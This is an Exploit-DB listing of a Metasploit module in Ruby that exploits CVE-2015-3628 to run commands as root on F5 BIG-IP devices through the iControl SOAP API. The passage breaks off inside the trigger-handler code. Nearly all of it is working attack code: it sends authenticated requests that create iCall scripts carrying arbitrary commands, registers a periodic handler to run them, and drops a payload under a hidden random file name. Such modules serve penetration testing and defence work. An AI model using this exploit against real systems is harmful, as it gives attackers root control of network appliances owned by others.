Exploit-DB #38764
Description: F5 iControl - 'iCall::Script' Root Command Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2015-11-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
  STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
  LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => "F5 iControl iCall::Script Root Command Execution",
        'Description'    => %q{
          This module exploits an authenticated privilege escalation
          vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
          other F5 devices). This requires valid credentials and the Resource
          Administrator role. The exploit should work on BIG-IP 11.3.0
          - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
          for more details)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'tom', # Discovery, Metasploit module
            'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
          ],
        'References'     =>
          [
            ['CVE', '2015-3628'],
            ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
            ['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
          ],
        'Platform'       => ['unix'],
        'Arch'           => ARCH_CMD,
        'Targets'        =>
          [
            ['F5 BIG-IP LTM 11.x', {}]
          ],
        'Privileged'     => true,
        'DisclosureDate' => "Sep 3 2015",
        'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
        OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
      ])
    register_advanced_options(
      [
        OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
        OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
        OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
        OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
      ])
  end

  def setup
    file = datastore['FILENAME']
    file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
    @payload_path = ::File.join(datastore['PATH'], file)
    super
  end

  def build_xml
    builder = Nokogiri::XML::Builder.new do |xml|
      xml.Envelope do
        xml = xml_add_namespaces(xml)
        xml['soapenv'].Header
        xml['soapenv'].Body do
          yield xml
        end
      end
    end
    builder.to_xml
  end

  def xml_add_namespaces(xml)
    ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
    xml.doc.root.namespace = ns
    xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
    xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
    xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
    xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
    xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
    xml
  end

  def send_soap_request(pay)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'data' => pay,
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD']
    )
    if res
      return res
    else
      vprint_error('No response')
    end
    false
  end

  def create_script(name, cmd)
    create_xml = build_xml do |xml|
      xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
        xml.scripts(STRING_ATTRS) do
          xml.parent.namespace = xml.parent.parent.namespace_definitions.first
          xml.item name
        end
        xml.definitions(STRING_ATTRS) do
          xml.parent.namespace = xml.parent.parent.namespace_definitions.first
          xml.item cmd
        end
      end
    end
    send_soap_request(create_xml)
  end

  def delete_script(script_name)
    delete_xml = build_xml do |xml|
      xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
        xml.scripts(STRING_ATTRS) do
          xml.parent.namespace = xml.parent.parent.namespace_definitions.first
          xml.item script_name
        end
      end
    end
    print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
    res
  end

  def script_exists?(script_name)
    exists_xml = build_xml do |xml|
      xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
    end
    res = send_soap_request(exists_xml)
    res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
  end

  def create_handler(handler_name, script_name)
    print_status("Creating trigger #{handler_name}")
    handler_xml = build_xml do |xml|
      xml['per'].create(SOAPENV_ENCODINGSTYLE) do
        xml.handlers(STRING_ATTRS) do
          xml.parent.namespace = xml.parent.parent.namespace_definitions.first
          xml.item handler_name
        end